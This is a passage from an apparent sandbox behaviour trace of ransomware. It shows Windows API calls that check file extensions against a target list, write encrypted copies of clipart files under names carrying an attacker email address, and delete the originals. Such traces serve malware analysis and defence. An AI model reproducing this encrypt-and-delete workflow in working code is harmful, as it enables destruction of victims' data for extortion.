Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0198.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.989] lstrlenW (lpString=".doc") returned 4 [0198.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.989] lstrlenW (lpString=".docx") returned 5 [0198.989] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0198.989] lstrlenW (lpString=".pdf") returned 4 [0198.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.989] lstrlenW (lpString=".xls") returned 4 [0198.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.989] lstrlenW (lpString=".xlsx") returned 5 [0198.989] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0198.989] lstrlenW (lpString=".ppt") returned 4 [0198.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.989] lstrlenW (lpString=".zip") returned 4 [0198.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.989] lstrlenW (lpString=".rar") returned 4 [0198.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString=".bz2") returned 4 [0198.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString=".7z") returned 3 [0198.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.990] lstrlenW (lpString=".dbf") returned 4 [0198.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.990] lstrlenW (lpString=".1cd") returned 4 [0198.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.990] lstrlenW (lpString=".jpg") returned 4 [0198.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.990] lstrlenW (lpString=".doc") returned 4 [0198.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString=".docx") returned 5 [0198.990] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0198.990] lstrlenW (lpString=".pdf") returned 4 [0198.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.990] lstrlenW (lpString=".xls") returned 4 [0198.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.990] lstrlenW (lpString=".xlsx") returned 5 [0198.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0198.990] lstrlenW (lpString=".ppt") returned 4 [0198.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.991] lstrlenW (lpString=".zip") returned 4 [0198.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.991] lstrlenW (lpString=".rar") returned 4 [0198.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.991] lstrlenW (lpString=".bz2") returned 4 [0198.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.991] lstrlenW (lpString=".7z") returned 3 [0198.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.991] lstrlenW (lpString=".dbf") returned 4 [0198.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.991] lstrlenW (lpString=".1cd") returned 4 [0198.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0198.991] lstrlenW (lpString=".jpg") returned 4 [0198.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.991] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.991] lstrlenW (lpString="J0086424.WMF") returned 12 [0198.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.993] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17016) returned 1 [0198.993] CloseHandle (hObject=0x55c) returned 1 [0198.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0198.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.994] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.994] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0198.994] GetLastError () returned 0x0 [0198.995] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4278, lpOverlapped=0x0) returned 1 [0198.997] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4280, lpOverlapped=0x0) returned 1 [0198.999] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.999] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.999] SetEndOfFile (hFile=0x560) returned 1 [0198.999] CloseHandle (hObject=0x560) returned 1 [0198.999] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.999] SetEndOfFile (hFile=0x55c) returned 1 [0199.502] CloseHandle (hObject=0x55c) returned 1 [0199.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0200.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.091] lstrlenW (lpString=".doc") returned 4 [0200.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.091] lstrlenW (lpString=".docx") returned 5 [0200.091] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0200.091] lstrlenW (lpString=".pdf") returned 4 [0200.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.091] lstrlenW (lpString=".xls") returned 4 [0200.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.091] lstrlenW (lpString=".xlsx") returned 5 [0200.091] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0200.091] lstrlenW (lpString=".ppt") returned 4 [0200.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.091] lstrlenW (lpString=".zip") returned 4 [0200.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.091] lstrlenW (lpString=".rar") returned 4 [0200.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString=".bz2") returned 4 [0200.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString=".7z") returned 3 [0200.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.092] lstrlenW (lpString=".dbf") returned 4 [0200.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.092] lstrlenW (lpString=".1cd") returned 4 [0200.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.092] lstrlenW (lpString=".jpg") returned 4 [0200.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.092] lstrlenW (lpString=".doc") returned 4 [0200.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString=".docx") returned 5 [0200.092] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0200.092] lstrlenW (lpString=".pdf") returned 4 [0200.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString=".xls") returned 4 [0200.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.092] lstrlenW (lpString=".xlsx") returned 5 [0200.092] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0200.092] lstrlenW (lpString=".ppt") returned 4 [0200.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.093] lstrlenW (lpString=".zip") returned 4 [0200.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.093] lstrlenW (lpString=".rar") returned 4 [0200.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.093] lstrlenW (lpString=".bz2") returned 4 [0200.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.093] lstrlenW (lpString=".7z") returned 3 [0200.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.093] lstrlenW (lpString=".dbf") returned 4 [0200.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.093] lstrlenW (lpString=".1cd") returned 4 [0200.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0200.093] lstrlenW (lpString=".jpg") returned 4 [0200.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.093] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.093] lstrlenW (lpString="J0090390.WMF") returned 12 [0200.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.523] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17638) returned 1 [0200.523] CloseHandle (hObject=0x3e8) returned 1 [0200.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.725] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.725] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0200.727] GetLastError () returned 0x0 [0200.727] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x44e6, lpOverlapped=0x0) returned 1 [0200.729] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x44f0, lpOverlapped=0x0) returned 1 [0200.730] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0200.730] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0200.730] SetEndOfFile (hFile=0x4d4) returned 1 [0200.730] CloseHandle (hObject=0x4d4) returned 1 [0200.730] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.730] SetEndOfFile (hFile=0x370) returned 1 [0200.733] CloseHandle (hObject=0x370) returned 1 [0200.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0200.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.735] lstrlenW (lpString=".doc") returned 4 [0200.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString=".docx") returned 5 [0200.735] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.735] lstrlenW (lpString=".pdf") returned 4 [0200.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString=".xls") returned 4 [0200.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.735] lstrlenW (lpString=".xlsx") returned 5 [0200.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.735] lstrlenW (lpString=".ppt") returned 4 [0200.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.735] lstrlenW (lpString=".zip") returned 4 [0200.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.735] lstrlenW (lpString=".rar") returned 4 [0200.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString=".bz2") returned 4 [0200.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString=".7z") returned 3 [0200.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.735] lstrlenW (lpString=".dbf") returned 4 [0200.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.735] lstrlenW (lpString=".1cd") returned 4 [0200.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.735] lstrlenW (lpString=".jpg") returned 4 [0200.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString=".doc") returned 4 [0200.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString=".docx") returned 5 [0200.736] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.736] lstrlenW (lpString=".pdf") returned 4 [0200.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString=".xls") returned 4 [0200.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.736] lstrlenW (lpString=".xlsx") returned 5 [0200.736] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.736] lstrlenW (lpString=".ppt") returned 4 [0200.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString=".zip") returned 4 [0200.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.736] lstrlenW (lpString=".rar") returned 4 [0200.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString=".bz2") returned 4 [0200.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString=".7z") returned 3 [0200.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString=".dbf") returned 4 [0200.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString=".1cd") returned 4 [0200.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0200.736] lstrlenW (lpString=".jpg") returned 4 [0200.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.737] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.737] lstrlenW (lpString="J0099146.WMF") returned 12 [0200.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.738] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16596) returned 1 [0200.738] CloseHandle (hObject=0x370) returned 1 [0200.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0200.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.739] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0200.740] GetLastError () returned 0x0 [0200.740] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x40d4, lpOverlapped=0x0) returned 1 [0200.742] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x40e0, lpOverlapped=0x0) returned 1 [0200.743] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0200.743] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0200.743] SetEndOfFile (hFile=0x4d4) returned 1 [0200.743] CloseHandle (hObject=0x4d4) returned 1 [0200.743] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.743] SetEndOfFile (hFile=0x370) returned 1 [0200.746] CloseHandle (hObject=0x370) returned 1 [0200.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0200.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.747] lstrlenW (lpString=".doc") returned 4 [0200.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.747] lstrlenW (lpString=".docx") returned 5 [0200.747] 